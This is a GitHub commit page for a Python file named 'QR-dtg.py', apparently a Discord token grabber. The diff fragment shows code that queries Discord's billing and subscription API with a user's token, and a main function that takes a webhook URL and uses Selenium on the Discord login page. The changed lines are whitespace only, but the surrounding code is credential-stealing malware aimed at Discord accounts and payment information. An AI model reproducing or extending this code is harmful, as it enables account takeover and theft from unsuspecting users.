Update QR-dtg.py

This commit is contained in:
mouadessalim 2022-08-17 13:42:11 +01:00 committed by GitHub
parent 3df6f34d24
commit 3bf972cebe
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -46,8 +46,7 @@ def get_discord_info(tk, link_int):
elif link_int == 2: elif link_int == 2:
response = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=headers).json() response = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=headers).json()
return response return response
def main(webhook_url) -> None: def main(webhook_url) -> None:
"""Use selenium webdriver to go to the discord login page. """Use selenium webdriver to go to the discord login page.
Then, grab the source of the page and use regex to identify the class Then, grab the source of the page and use regex to identify the class